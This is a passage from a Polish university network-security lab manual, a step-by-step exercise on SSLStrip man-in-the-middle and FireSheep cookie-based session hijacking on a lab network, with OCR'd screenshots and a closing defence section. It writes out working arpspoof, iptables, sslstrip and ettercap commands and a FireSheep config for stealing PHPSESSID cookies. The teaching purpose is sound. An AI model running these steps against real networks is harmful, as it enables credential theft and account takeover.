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3.5.7. Po pomyslnej instalacji wci$nij Finish — program uruchomi si¢ automatycznie
w tle.

@ Unbound Setup EI [Slw|=E2
N I net Completing the Unbound Setup
Wizard
Eéi I a b S Unbound has been installed on your computer.

800

Click Finish to dose this wizard.

Rys. 3.20. Instalator Unbound — zakonczenie
Zrédlo: opracowanie wlasne.

3.6. Weryfikacja zabezpieczenia

3.6.1. Uruchom ponownie przegladarke internetowa na komputerze z systemem
Windows 7 1 wejdz na strong www.google.com.

€ Google - Windows Intemet Explorer =0 =)
&)= 4 o /v gosglesl ~[ [ x ]|[= £ng o -

leria obicktéw Web ... +

i Ulubione | 3 @ Sugerowane witryny » ] Galeria of

2 Google ) ~ B - = & v Stona~ Bezpieczefstwo v Marzedzia v (@)~

Sie¢ Grafia Wideo Mapy Wisdomosci Ksiazki Gmail wiecej v iGoogle | Ustawienia wyszukiwania | Zalogy

Przegladaj internet szybciej
@ Zainstaluj Google Chrome
G 00O 8 l€

Polska

| Sk

Narzedzis jezykowe

Sukaj w Google | Szczeslwy traf

 Ustaw Google jako sweja strone startows
Reklamuj sig w Google  Rozwiazania dlafirm  Wszystko o Google  Google.com in English

©2010 - Prywatnosé

Zmier obraz tia

@ Intemet | Tryb chroniony: wlaczony 3 v ®I00% -

Rys. 3.21. Weryfikacja zabezpieczenia systemu Windows
Zrédto: opracowanie wiasne.
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W przegladarce zatadowata si¢ prawidlowa strona WWW, pomimo dzialajacego
caly czas ataku DNS-spoofing. Wykorzystanie protokotu DNSSEC uniemozliwia
skuteczna modyfikacj¢ badz sfatszowanie odpowiedzi serwera nazw domenowych.

104



4. ATAKI NA SESJE SZYFROWANE SSL

Opracowat: Stawomir Adamus

Cel ¢wiczenia: wykonanie ataku Man In The Middle na szyfrowany
ruch HTTPS

Potrzebne narze¢dzia: BackTrack Linux 4, sslstrip, Microsoft Windows 7
Mozilla Firefox, FireSheep, Turnkey

Literatura: M. Szmit, M. Tomaszewski, Hakowanie SSL, Hakin9

10/20009, ss. 24-27.

D. Rychcik, SSL — Teoria i zasada dziatania,
http://muflon.photosite.pl/doc/progzesp/ssl.html z dnia
2010.11.10.

Atak SSLStrip jest atakiem typu Man-in-the-Middle (ang. cztowiek posrodku,
atak polegajacy na podstuchu 1 modyfikacji przesytanych danych) wymierzonym
w protokét SSL. Protokdt ten stuzy do zapewnienia bezpiecznego polaczenia
z Internetem poprzez szyfrowanie komunikacji miedzy punktami koncowymi.
Podstawowym zastosowaniem protokolu SSL jest zabezpieczenie protokotu
HTTP (ang. Hypertext Transfer Protocol — protokét przesylania dokumentéw
hipertekstowych). Prezentowany atak polega na przechwyceniu polaczenia
z bezpiecznym serwerem WWW (ang. World Wide Web — sie¢ ogélno§wiatowa)
uzywajacym protokotu HTTPS (ang. HyperText Transfer Protocol Secure —
szyfrowana wersja protokotu HTTP). Atak polega na utworzeniu posrednika
(ang. proxy), przez ktérego kierowany bedzie caty ruch sieciowy. W momencie,
gdy ofiara bedzie chciatla nawigza¢ potaczenie szyfrowane posrednik zamienia
wszystkie zlecone przez uzytkownika wywotania HTTPS na zwykte wywotania
HTTP. Ofierze przedstawiana jest zwykta strona HTTP, natomiast po drugiej
stronie program nawigzuje potaczenie szyfrowane z serwerem wywotanym przez
ofiar¢ i odtwarza na nim wszystkie zadania. Jesli tylko czg$¢ strony WWW byta
szyfrowana, za$ cala komunikacja odbywata si¢ po http, to w przegladarce ofiary
nie pojawi si¢ zaden komunikat o btedzie czy niewaznym certyfikacie. Schemat
ataku SSL Strip przedstawiony jest na rys. 4.1. W goérnej czgSci rysunku
przedstawiona jest normalna (bezpieczna) droga komunikacji. W dolnej czgsci
schematu napastnik przechwytuje komunikacjg i zamienia ruch HTTPS na HTTP.
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@ OFIARA
: HTTPS / s\}

INTERNET @
LJ

INTERNET @
N

Rys. 4.1. Schemat ataku SSLStrip
Zrédto: opracowanie wiasne

W drugiej czgsci ¢wiczenia zaprezentowane zostanie narzedzie FireSheep.
Jest to dodatek do przegladarki Firefox automatyzujacy atak przechwycenia
sesji (ang. session hijacking) poprzez kradziez ciasteczek (ang. cookies) oraz
podszywanie si¢ pod przechwycone sesje. Powszechna praktyka projektowania
serwisOw internetowych jest wykorzystywanie bezpiecznego potaczenia HTTPS
wylacznie podczas procesu logowania uzytkownika do systemu. Pdzniejsza
transmisja prowadzona jest z uzyciem niebezpiecznego protokolu HTTP,
w ktérym komunikacja prowadzona jest jawnie (brak szyfrowania). Praktyka taka
umozliwia m.in. ograniczenie zuzycia zasobéw serwera. Uzytkownicy serwisu
po zalogowaniu rozrdzniani sg w systemie po unikatowych identyfikatorach ses;ji,
ktére przesylane sa w nagiéwkach HTTP przy kazdym wywotaniu strony.
Przechwycenie nagtéwka z identyfikatorem sesji umozliwia dostgp do prywatnych
danych uzytkownika z pominigciem procesu logowania. Przechwycony identyfikator
sesji mozna wykorzysta¢ dopdki uzytkownik nie wyloguje si¢ z serwisu lub sesja nie
wygasnie (automatyczne wylogowanie po uptywie zadanego czasu bezczynnosci).

Na rys. 4.2 zaprezentowana zostala topologia sieci wykorzystywane]
w ¢wiczeniu.
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DHCP

@ DHCP
Debian Linux 5.0 Tumkey LAMP

172.16.1.1/ 24 Linux

BackTrack 4 R2
172.16.1.2/24

Microsoft Ubuntu Linux
Windows 7 10.10
172.16.1.4/ 24 172.16.1.5/ 24

Rys. 4.2. Topologia sieci wykorzystanej w ¢wiczeniu
Zrédlo: opracowanie wilasne.

Najnowsza wersja programu SSLStrip dostgpna jest pod adresem:
http://www.thoughtcrime.org/software/sslstrip/

4.1. Przygotowanie ataku

Atak przeprowadzony bedzie z maszyny z systemem BackTrack. W pierwszej
czesci przeprowadzony zostanie atak SSLStrip skierowany przeciwko maszynom
z systemami Windows i Ubuntu.

Nastepnie zaprezentowany zostanie dodatek do przegladarki Mozilla Firefox
automatyzujacy kradziez ciasteczek (ang. cookies) 1 podszywanie si¢ pod
przechwycone sesje.

4.1.1. Uruchom wirtualng maszyng z systemem Debian i zaloguj sie do systemu.

4.1.2. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Whpisz:

ping —c 4 www.google.pl
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4.1.3. Uruchom wirtualna maszyng z systemem Windows 7 i zaloguj si¢ do
systemu.

4.1.4. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Whpisz w konsoli:

4.1.5. Uruchom wirtualng maszyne z systemem Ubuntu i zaloguj sie do systemu.

4.1.6. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Whpisz:

ping —c 4 www.google.pl

4.1.7. Uruchom wirtualna maszyn¢ z systemem BackTrack 4 i zaloguj si¢ do
systemu.

4.1.8. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli:

ping www.google.pl

4.1.9. Uruchom wirtualng maszyng z systemem 7Turnkey.

4.2. Atak SSLStrip

4.2.1. Na maszynie z systemem BackTrack 4 skopiuj program SSLStrip (plik
sslstrip-0.7.tar.gz) z ptyty DVD z katalogu SSLStrip do katalogu roboczego
lub pobierz archiwum z programem bezposrednio z witryny autora, wpisujac
w konsoli systemu BackTrack:

wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
4.2.2. Rozpakuyj i zainstaluj program w systemie. Wpisz w konsoli:

tar zxvf sslstrip-0.7.tar.gz

cd sslstrip-0.7
python ./setup.py install
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4.2.3. Wykonaj atak ARP-spoofing. Wpisz w konsoli:

echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof —i eth0 -t 172.16.1.4 172.16.1.1
arpspoof —i eth0 -t 172.16.1.1 172.16.1.4

4.2.4. Nastepnie nalezy umozliwi¢ maszynom wirtualnym komunikacj¢ z serwerem
TurnKey. Przejdz do maszyny z systemem Turnkey i odczytaj adres IP jaki
zostat przydzielony maszynie z serwera DHCP.

@™ @ TurnKey [Uruchomiona] - VirtualBox - Edycja open-source

Maszyna Urzadzenia Pomoc
TurnKey Linux Configuration Console

Usage

You may access this Lamp appliance over the
network using the following methods:

Ueb: http:,-192.168.5.108
https:/r192 .168.5.108

Ueb shell: https: /192.168.5.108:12320

Uebmin: https:/-192 .168.5.108:12321

PHPMyAdnin: https:--192.168.5.108:12322
35H-SFTIP: root@192.168.5.108 (port 2Z)

For more information visit the TurnKey Linux Website
http:/7wuu.turnkeylinux.org

<Advanced Menu>

& {3 | © (@ Prawy ctrl
Rys. 4.3. TurnKey — konsola konfiguracyjna
Zrédto: opracowanie wlasne.
4.2.5. Na maszynie z systemem Ubuntu dodaj na koncu pliku /etc/hosts wpis:

192.168.5.108 ssl.bss
Pamigtaj, aby zamieni¢ adres IP na adres odczytany z konsoli systemu
TurnKey.

4.2.6. Nastgpnie powtdrz czynno$¢ dla maszyny z systemem Windows 7. Dodaj
do pliku C:\Windows\System32\drivers\etc\hosts wpis:

192.168.5.108 ssl.bss

Pamigtaj, aby zamieni¢ adres IP na adres odczytany z konsoli systemu
TurnKey
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4.2.7. Uruchom przekierowanie pakietéw z portu 80 (www) na port 10000
(standardowy port programu SSLStrip) przy pomocy narzedzia iptables.
Wpisz w konsoli:

iptables —t nat —A PREROUTING —p tcp —destination-port 80 —j REDIRECT —to-

port 10000

4.2.8. Uruchom program SSLStrip poleceniem:

python sslstrip.py —w log_ssl|

4.2.9. Caty ruch protokotu SSL znajduje si¢ w pliku log_ssl. Aby otrzyma¢ hasta
w bardziej przystepnej formie mozna uzy¢ programu ettercap. Wywotanie
programu ettercap:

ettercap —T —q —i <int>

gdzie:

-T - uzycie interfejsu tekstowego,
-q - tryb cichy, program nie wyswietla zawartosci pakietow,
- i <int> - zdefiniowanie interfejsu, na ktorym nastuchuje program.

Wpisz w konsoli:

ettercap —T —q —i eth0

# ettercap -T -g -1 etho®
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth®... (Ethernet)

ethe -= 08:0C:29:08:BO:FF 172.16.1.2 255.255.08.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins

39 protocol dissectors

53 ports monitored
7587 mac vendor fingerprint
1698 tcp 0S fingerprint
2183 known services

Starting Unified sniffing...

Rys. 4.4. Program Ettercap w systemie BackTrack
Zrédlo: opracowanie wilasne.
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4.2.10. Przejdz do maszyny z systemem Windows 7, uruchom przegladarke
Internet Explorer i wejdz na strong http://ssl.bss/sslstrip.

7@ Atak SSLStrip - Windows Internet Explorer ==

G- & e ~[8[ 4] x|[E aws 5~

¢ Ulubione | 5% [l Sugerowane wityny ] Galeria obiektow Web ...

@ Atak 5SLStrip i~ B - [ dm v Stonav Bezpieczenstwo > Narzedzia v (@)~

Diazalogowanysh  Wyloguj

© 5911 Assmus Siawor. Desion oy 52 OS5 Termes.

@ Intemet | Tryb chreniony: wiaczony v HI0% -

Rys. 4.5. Windows 7 — program Internet Explorer
Zrédto: opracowanie whasne.

4.2.11. Zaloguj sig¢ do portalu uzywajac poswiadczen:

Login: login
Hasto: haslo

4.2.12. Na maszynie z systemem BackTrack przechwycone zostaly nazwa
uzytkownika i login do serwisu.

Listening on eth®... (Ethernet)
ethd -> 08:00:27 134 172.16.1.2 25 .0

SSL dissection needs a valid 'redir_command on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins
protocol dissectors
ports monitored
¢ vendor fingerprint
0s fingerprint
yn services

Starting Unified sniffing...

Text only Interface activated...
Hit 'h" for inline help

HTTP : 192.168.5.108:80 -> USER: bss PASS: zaql X INFO: http://ssl.bss/sslst
rip/

Rys. 4.6. Przechwycone hasta
Zrédto: opracowanie wiasne.
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4.2.13. Wyloguj si¢ z konta na stronie http://ssl.bss/sslstrip, klikajac przycisk
Wyloguj.

4.2.14. Wylacz programy arpspoof, sslstrip i ettercap. W tym celu wpisz w konsoli:

killall python arpspoof ettercap

4.3. Atak typu przechwycenie sesji — FireSheep

4.3.1. Do poprawnego dziatania wtyczka FireSheep wymaga zainstalowania
sterownika WinPcap. Na maszynie z systemem Windows uruchom instalator
programu WinPcap znajdujacy si¢ w katalogu
<work_dir>/SSL/WinPcap_4_1_2.exe

[ESSER5
@Qvl <« data » POLITECHNIKA » inzynierka » dvd » SSLStrip = [ %9 || Preesaukap SsLstrip P
Organizuj = Otwbrz Nowy folder =~ 0O @
- Uikane Mazwa ’ Data modyfikacji Typ Rozmiar
=1 Ostatnie migjsca L) Firefox Setup 3.6.13 07 Aplikacja 9072 KB
P f ]
& Pobrane || firesheep-0.1-1xpi Plik %P1 3011 KB
Bl Pulpit || sslstrip-07 tar.gz 2010-12-1 Plik GZ 21 KB
K& WinPcap 4.1 2 2011-01-07 15:20 Aplikacja 895 KB
8 Biblioteki

Rys. 4.7. Uruchomienie instalatora sterownika WinPcap
Zrédto: opracowanie wlasne.

4.3.2. Uaktywni si¢ mechanizm Kontroli konta uzytkownika — kliknij Tak.

rfi_g;' Kontrola konta uzytkownika

s

Czy cheesz zezwoli¢ nastepujgcemu programowi na

wprowadzenie zmian na tym komputerze?

( ----- ’ Mazwa programu: WinPcap 4.1.2 installer

L Sprawdzeny wydawea: CACE Technologies, Inc.
Pochodzenie pliku: Dysk sieciowy

V Pokaz szezegoly Tak Nie

Zdecydu). kiedy sa wyswietlane powiadomienia

Rys. 4.8. WinPcap — mechanizm UAC
Zrédto: opracowanie wlasne.
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4.3.3. Uruchomi sig¢ instalator — kliknij dwukrotnie Next.

{37 WinPcap 4.1.2 Setup o] @ |
| U . WinPcap 4.1.2 Installer
\J lﬂ caP Welcome to the WinPcap 4. 1.2 Installation Wizard

This product is brought to you by

=
CACE

TECHNOLOGIES

Packet Capturing and Network Analysis Solutions

[ MNext = ] I Cancel

Rys. 4.9. Instalator WinPcap — uruchomienie
Zrédto: opracowanie wlasne.

7 WinPcap 4.1.2 Setup [ @ [l

Welcome to the WinPcap 4.1.2
Setup Wizard

This Wizard will guide you through the entire WinPcap
installation.

For more information or support, please visit the WinPcap
home page.

hitp:/|

swinpcap.org

I < Back ” MNext = ] I Cancel

Rys. 4.10. Instalator WinPcap — powitanie
Zrédto: opracowanie wlasne.
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4.3.4. Nastgpnie przedstawiona zostanie licencja uzytkownika koncowego. Kliknij
I agree.

(37 WinPcap 4.1.2 Setup [o]l= =]

(l) - License Agreement
y rf‘ caP Please review the license terms before installing WinPcap 4.1.2,

Press Page Down to see the rest of the agreement.,

Copyright {c) 1999 - 2005 NetGroup, Politecnico di Torino (Ttaly). -
(Copyright {c) 2005 - 2010 CACE Technologies, Davis (California). I
All rights reserved. T

Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.

2, Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and for other materials -

If you accept the terms of the agreement, dick I Agree to continue. You must accept the
agreement to install WinPcap 4.1.2.

[ < Back ][ I Agree ] [ Cancel ]

Rys. 4.11. Instalator WinPcap — licencja EULA
Zrédlo: opracowanie wlasne.

4.3.5. Na kolejnym ekranie mozna wybra¢ opcj¢ automatycznego uruchamiania
sterownika WinPcap przy starcie systemu. Zaznacz opcje Automatically
start the WinPcap driver at boot time i kliknij Install.

{7 WinPcap 4.1.2 Setup =] B =)
(l) > Installation options
y rf‘ caP ease review the following options before installing WinPcap

Pl
4.1.2

[¥] Automatically start the WinPcap driver at boot time

[ < Back ][ Install ] [ Cancel

Rys. 4.12. Instalator WinPcap — opcje
Zrédto: opracowanie wiasne.
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4.3.6. Po zakonczeniu instalacji kliknij Finish.

= E B

Completing the WinPcap 4.1.2
Setup Wizard

137 WinPcap 4.1.2 Setup

WinPcap 4. 1.2 has been installed on your computer.

Click Finish to dose this wizard,

Finish Cance

Rys. 4.13. Instalator WinPcap — zakoficzenie
Zrédto: opracowanie wilasne.

4.3.7. Nastgpnie uruchom instalator programu Mozilla Firefox znajdujacy si¢
w katalogu <work_dir>\SSLStrip\Firefox Setup 3.6.13.exe.

=N
@Qvl « data » POLITECHNIKA » inzynierka » dvd b SSLStrip [ 42 ||[ Precszvia: sststro F)
QOrganizuj * @]Otwér: Nowy folder =« [l g
R Nazwe Dote modyfikeci  Typ
5| Ostatnie migjsca 5 Firefox Setup 3.6.13 2011 Aplikaca
& Pobrane || firesheep-0.1-Lapi 2 Plik XPI
B Pulpit || sslstrip-0.7.tor.gz I
G WinPeap 412
Bihlinteli

Rys. 4.14. Instalator Mozilla Firefox - uruchomienie
Zrédlo: opracowanie wilasne.
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4.3.8. Potwierdz uruchomienie instalatora. Kliknij Uruchom.

Otwieranie pliku - ostrzezenie o zabezpieczeniach

Czy chcesz uruchomic ten plik?

@ Nazwa: ..infynierka\dvd\S5L5trip"Firefox Setup 3.6.13. exe
Wydawca: Mozilla Corporation
Typ: Aplikacja
Od: '\192.168.5.15"data\POLITECHMIKA\inZynierka'dv...

[ Uruchem ][ Anulyj ]

.~ Pliki pochodzace z Intemetu moga byé uzyteczne, ale ten typ pliku
[ a| moze byé szkodliwy dla komputera. Unuchamiaj wylacznie
%  oprogramowanie pochodzace od zaufanych wydawcdw. Jakis jest
zaqrozerie?

Rys. 4.15. Instalacja Firefox — ostrzezenie o zabezpieczeniach
Zrédlo: opracowanie wlasne.

4.3.9. Po rozpakowaniu instalatora uaktywni si¢ mechanizm Kontroli konta
uzytkownika. Kliknij Tak.

@ Kentrola kenta uzytkownika

Czy chcesz zezwoli¢ nastepujgcemu programowi na

wprowadzenie zmian m komputerze?

_"' ! Mazwa programu: Firefox Installer
E Sprawdzony wydawca: Mozilla Corporation
Pochodzenie pliku: Drysk twardy w tym komputerze

( \_’ ) Pokaz szczegoty

Zdecyduj, kiedy sa sictlane powiadomienia

Rys. 4.16. Instalacja Firefox — mechanizm UAC
Zrédto: opracowanie wiasne.

116



4.3.10. Uruchomi si¢ instalator. Kliknij Dalej.

%Ilnsiaiator programu Mozilla Firefox ” [=] ==

Witamy w instalatorze programu
Mozilla Firefox

Kreator ten przeprowadzi proces instalacii programu Mozila
Firefox,

Zalecane jest zamknigcie wszystkich dziatajaoych aplikac
przed rozpoczeciem instalacii. Umozliwi to wprowadzenie
wymaganych zmian do plikdw systemowych bez potrzeby
ponownega uruchamiania komputera.

Maciénij Dalej, by kontynuowad.

i Dalgj = i [ Anuluj

Rys. 4.17. Instalator Firefox — uruchomienie
Zrédto: opracowanie wiasne.

4.3.11. Na nastgpnym ekranie nalezy wybra¢ rodzaj instalacji. Wybierz opcje
Standardowa i kliknij Dalej.

;:j Instalater programu Mozilla Firefox “ =

Rodzaj instalacji
Wybdr opdji instalagji

Wybierz preferowany rodzaj instalacji i nadisnij Dalej.,

(@) Standardowa
Program Firefox zostanie zainstalowany z najbardziej typowymi opcjami.

@) Uzytkowrika

Mozna wybraé, ktdre komponenty majg zostad zainstalowans. Opcja zalecana tylko
dla zaawansowanych uzytkownikow.

[ < Wstecz ][ Dalej = i [ Anuluj ]

Rys. 4.18. Instalator Firefox — rodzaj instalacji
Zrédlo: opracowanie wlasne.
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4.3.12. W kolejnym kroku wy$wietlone zostanie podsumowanie. Kliknij
Zainstaluj.

‘;:j Instalator prograrmu Mozilla Firefox ” =] '

Podsumowanie
Mozna juz rozpoczac instalacje programu Firefox

Program Firefox zostanie zainstalowany w ponizszym katalogu:

C:\Program Files'\Mozilla Firefox

Ustaw program Firefox jako domyslng przegladarke

Aby kontynuowad, kiknij prydsk Zainstaluj.

[ < Wstecz “ Zainstaluj i [ Anuluj

Rys. 4.19. Instalator Firefox — podsumowanie
Zrédlo: opracowanie wlasne.

4.3.13. Po zakonczeniu instalacji kliknij przycisk Zakoncz.

Instalator programu Mozilla Firefox E || 5=

Zakoriczenie pracy instalatora
programu Mozilla Firefox

Program Mozilla Firefox zostat zainstalowany na tym
komputerze,

Macignij Zakoricz, by zamknad program instalatora.

Uruchom program Firefox

< Wstecz Zakoncz | Anuluj

Rys. 4.20. Instalator Firefox — zakonczenie
Zrédto: opracowanie wiasne.

118



4.3.14. Przy pierwszym uruchomieniu program Firefox zaproponuje zaimporto-
wanie ustawien z przegladarki Internet Explorer. Zaznacz opcje Nie
importuj niczego i kliknij Dalej.

Impertowanie ustawien i danych

Importuj ustawienia i dane e
]

Impertuj cpcje, zakdadki, historig, hasta i inne dane z:

() Microsoft Internet Explorer

< Wstecz [ Dalej = ]’ Anuluj

Rys. 4.21. Mozilla Firefox — pierwsze uruchomienie
Zrédlo: opracowanie wlasne.

4.3.15. Po uruchomieniu przegladarki przejdzZz ponownie do katalogu
<work_dir>/SSLStrip i przeciagnij ikong wtyczki firesheep-0.1-1.xpi
na okno programu Firefox.

@ Witamy w Firefoksie - Mozilla Firefox [= 2] =]
2 C 7 (@ nttps/fwwmozilla.complfirefox/3 613 Firstrun/ w7 | M- Google P
2! Caesto odwiedzane || Pierwsze kroki 5 Aktualnosc
@ Witamy w Firefoksie x| *J Strona startowa programu Mozilla F... 3 -
[ [ = ) ezils Foundation, organizacie non-profit x
@Qv\ |« dvd b SSLStrip = |49 ||| Presuka

Organizuj v | ] Otwérz  » = 0 @

R T |
2 Ulubione F Nazwa o ‘
%l Ostatnie migjsca | Th Firefox Setup 613 L A E‘

18 Pobrane

firesheep-0.1-1.xpi
B Pulpit ip-0.7tar.gz
5| @ winPcap 412 BADZ NA BIEZACO
4 Biblioteki
[ Dokumenty ) Obserwujnasna’
& Muzyks
(] Obrazy P Zostari fanemna
B wideo
¥ Grupz domowa E »  Czytaj nasz blog
RS F—T— '
firesheep-0.1-1.xpi L m B e ¥ TP

Plik XP1 E

Rys. 4.22. Uruchomienie instalacji dodatku FireSheep
Zrédto: opracowanie wiasne.
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4.3.16. W przegladarce pojawi si¢ okno [Instalacja oprogramowania. Kliknij
Zainstaluj.

' Instalacja oprogramewania [

Nalezy instalowa¢ dodatki pochodzace wylacznie ze Zrédet
Y’ l.‘_/h godnych zaufania.

Hiebezpieczne oprogramowanie moze uszkodzic dane w komputerze lub
spowedowa naruszenie prywatnosci uzytkownika.

Zazadane instalacji nastepujacege elementu:

t firesheep-0.1-Lxpi (autor niszweryfik

%C5%B Cynierkas/dvd/SSLStrip/firesheep

Rys. 4.23. Dodatek FireSheep — instalacja
Zrédto: opracowanie wlasne.

4.3.17. Nastgpnie nalezy uruchomi¢ ponownie program Firefox. W oknie
Dodatki kliknij Uruchom ponownie program Firefox.

@ Dodatki (== (B |
A & % A%

Pobierzdodatki  Rozszerzenia  Motywy Wtyerki | Instalacja
¢ Ty w R

Firesheep 01
Uruchom program ponownie, by dokoriczy¢ instalacje.

Rys. 4.24. Firefox — ponowne uruchomienie
Zrédto: opracowanie wiasne.

4.3.18. W oknie, ktére si¢ pojawi, zaznacz opcj¢ Nie pytaj ponownie i kliknij
Uruchom ponownie.

ie programu Firefox

9} Firefox sprobuje proywrdcic aktualne karty i okna przy nastepnym uruchomieniu,
e

P uruch

[¥]: Nie pytaj pencwnie

[Qruchomponownie]l Anuluj I

Rys. 4.25. Firefox — ponowne uruchomienie
Zrédto: opracowanie wlasne.
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4.3.19. Po ponownym uruchomieniu przegladarki zamknij okno Dodatki i przejdz
do menu Widok -> Panel boczny -> Firesheep.

- ==

Plik  Edycja Historia  Zakladki Marzedzia Pomeg

P | ;

Lo Paskinanedsi * hwmosilla.com/plfirefox3 6,13 firstrun/ 77 -] [~ Googie A

o v Pasek stanu
£ Czesto od
- Panel beczny L3 Zakladki Ctrl+B
Witam e -

| @ Witamy ey - Historia Carl-H {mi] =
i CtrliR Firesheep  Shift+ Ctrl+S |
Powickszenie

mn

Zrédio strony Ctrl+l

3
Styl strony » ®
Zestaw znakéw 4 Ox
L]

Tryb petnoekranowy F11

BADZ NA BIEZACO
WYBIERZ » Obserwuj nasna ||
S“TOJ P Zostan fanem na
MOTYW
PERSONAS. » Czytaj nasz blog

Wskaz mysza, aby
wyprobowad. Kliknij, aby

WIECE) SPOSOBOW |
el ln:ncmlau?an: s

< (T

Rys. 4.26. Firefox — uruchomienie dodatku FireSheep
Zrédlo: opracowanie wlasne.

4.3.20. Nastgpnie nalezy utworzy¢ plik konfiguracyjny dodatku Firesheep
obstugujacy domeng ssl.bss. Wejdz w przegladarce Firefox w menu
Narzedzia -> Dodatki.

4.3.21. W oknie Dodatki kliknij przycisk Opcje przy dodatku Firesheep.

Dodatki

= & 4 &

Pobierz dodatki | Rozszerzenia Motywy — Wiyczki

Firesheep 0.1
Demonstrate HTTP session hijacking attacks frem Firefou.

Wylacz Ddinstaluj

Znajdz aktualizacje

Rys. 4.27. Mozilla Firefox — Dodatki
Zrédto: opracowanie wlasne.
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4.3.22. W oknie Opcje przejdz na zaktadke Websites i kliknij przycisk Add.
Opcje

@ Gl &

Capture | Websites  Advanced

Amazen.com -
Basecamp
bit.ly
Cisco
CHET
Dropbox L4
Encm

mn

Evernote

Facebook

Flickr

Foursquare

GitHub

Google ¥

Add Edit Remove Export

Rys. 4.28. Opcje dodatku Firesheep. Zrédto: opracowanie wiasne.

4.3.23. W polu tekstowym wpisz ssl.bss i wcisnij OK.

[Aplikacja JavaScript]
0 Enter a name:
./J
ssl.bszl

Rys. 4.29. Firesheep — nazwa konfiguracji. Zrédto: opracowanie wiasne.

4.3.24. Na liscie dostgpnych konfiguracji znajdz pozycje ssl.bss i kliknij przycisk
Edit.

Opeje

@ ) &

Capture = Websites  Advanced

Hacker Mews -
Harvest

‘Windows Live

Mew York Times
Pivotal Tracker
ToorCon: 5an Diege
Slicehost Slicebanager
tumblr.com

Twitter

Wordpress

Yahoo

m

Yelp

EE
(it (i) (afsmns.

Rys. 4.30. Firesheep — edycja pliku konfiguracyjnego. Zrédto: opracowanie wiasne.
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4.3.25. W oknie edycji konfiguracji wpisz plik konfiguracyjny dla domeny ssl.bss.
Wpisz:

register ({
name: "ssl.bss",
url: 'http://ssl.bss/?site=member’',
domains: [ 'ssl.bss' ],
sessionCookieNames: [ 'PHPSESSID' ],

identifyUser: function () {

this.userName = 'Student BSS';
}
1)

lub skopiuj zawarto$¢ pliku z ptyty DVD z pliku <work_dir>/SSL/firesheep-
config-ssl.bss.txt.

Edlit Seript

'http://3sl.bsa/?site=member’,
domains: [ "ssl.bas' ],
gegsiconCockielNames: [ "EBHPSESSID' ]

identifylUzer: T
this.userName = 'Student B55';

[ ok ][ Revet | [ Anuiyj

Rys. 4.31. Plik konfiguracyjny dodatku Firesheep
Zrédto: opracowanie wlasne.

Po wypetnieniu konfiguracji zamknij wszystkie okna konfiguracji dodatku.
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4.3.26. W panelu Firesheep kliknij przycisk Start capturing.

@ Witamy w Firefoksie - Mozilla Firefox
Blic Edycja MWidok Historia Zekladki Narzedzia Pomog

2 C £y (@ nttp: /v mozilla.com/plfirefons3.6.13 firstrun/ v |2

£ Czesto odwiedzane || Pierwsze kroki 5 Aktualnosci

Firesheep X | @ Witamy w Firefoksie x | #f Strona startows programu MozillaF.. > | + | [~

Start Capturing =

) Firefox 3.6 .

SWOJ
MOTYW
PERSONAS.
Wskaz myszq, aby

e
wyprébowaé. Kliknij, aby o ﬁ&‘,;‘_t_k ﬂ
uyé. - )

[ - 20 <[ i ] r

Rys. 4.32. FireSheep — rozpoczegcie przechwytywania
Zrédto: opracowanie wlasne.

4.3.27. Na maszynie z systemem Ubuntu wejdz na strong http://ssl.bss i zaloguj
sig, uzywajac poswiadczen:

Login: bss
Hasto: zaqgl1 @ WSX

Atak FireSheep - Mozilla Firefox

File Edit
& > C Q [@)| http://ssL.bss/2site=member | [ @

Most Visited v [@] Getting Started [E]Latest Headlines v

[®) Atak FireSheep 4 v

/s Do youwant Firefox to remember the password for "bss"
" onsslbss?

| Remember | | Never for This Site| | NotNow | %

&b atak firesheep

(
h J dla zalogowanych
\1 S PRV —————

L]

Done

Rys. 4.33. Logowanie do portalu ssl.bss
Zrédto: opracowanie wlasne.
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4.3.28. Na maszynie z systemem Windows wtyczka Firesheep przechwycita
identyfikator sesji z witryny ssl.bss.

@ Atak FireSheep - Mozilla Firefox =& ]=]
@ - Ned 2y [ L] httpy//sslbss/?site=member 7 ~| [*- Google P
2! Czesto odwiedzane | | Pierwsze kr ualnos
Firesheep [ Google

Stop Capturing

Student BSS

sslbss

owarnie

dla zalogowanych

Ta czesé witryny widoczna jest tylko dia zzlogows|

- o« L
Zakenczono

Rys. 4.34. FireSheep — przechwycenie sesji
Zrédto: opracowanie wiasne.

Kliknij na nazwie uzytkownika w panelu wtyczki Firesheep. Zatadowana
zostanie strona ssl.bss z pominigciem procesu logowania.

4.4. Zabezpieczenie

Aby zabezpieczy¢ si¢ przed atakiem SSLStrip, nalezy przede wszystkim
przygotowywac strony logowania w ten sposéb, aby nie zawieraly one elementéw
nieszyfrowanych, a caly proces komunikacji odbywat si¢ po SSL. Aby uniknaé
przechwycenia sesji, nalezatoby w ogéle cata komunikacj¢ z serwerem (nie tylko
logowanie) prowadzi¢ w tzw. ,.bezpiecznym” polaczeniu. Kolejnym zabezpiecze-
niem moze by¢ zastosowanie szyfrowania transmisji wewnatrz tunelu SSL
(stunnel), sieci VPN (ang. Virtual Private Network — wirtualne sieci prywatne) czy
TOR (ang. The Onion Router — router cebulowy). Uniemozliwi to napastnikowi
przechwycenie komunikacji z serwerem WWW, zabezpieczajac zaréwno przed
atakiem SSLStrip, jak i przed przechwyceniem sesji (ang. session hijacking)
realizowanym przez wtyczke FireSheep.

Bedac administratorem witryny podatnej na atak typu session hijacking
mozemy przenie$¢ catos¢ ruchu sieciowego na bezpieczny protokét HTTPS. Jesli
implementacja protokolu HTTPS w obrgbie calej witryny jest niemozliwa, mozna
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ograniczy¢ si¢ do ustawienia flagi ,,.Secure” przy ciasteczku przechowujacym
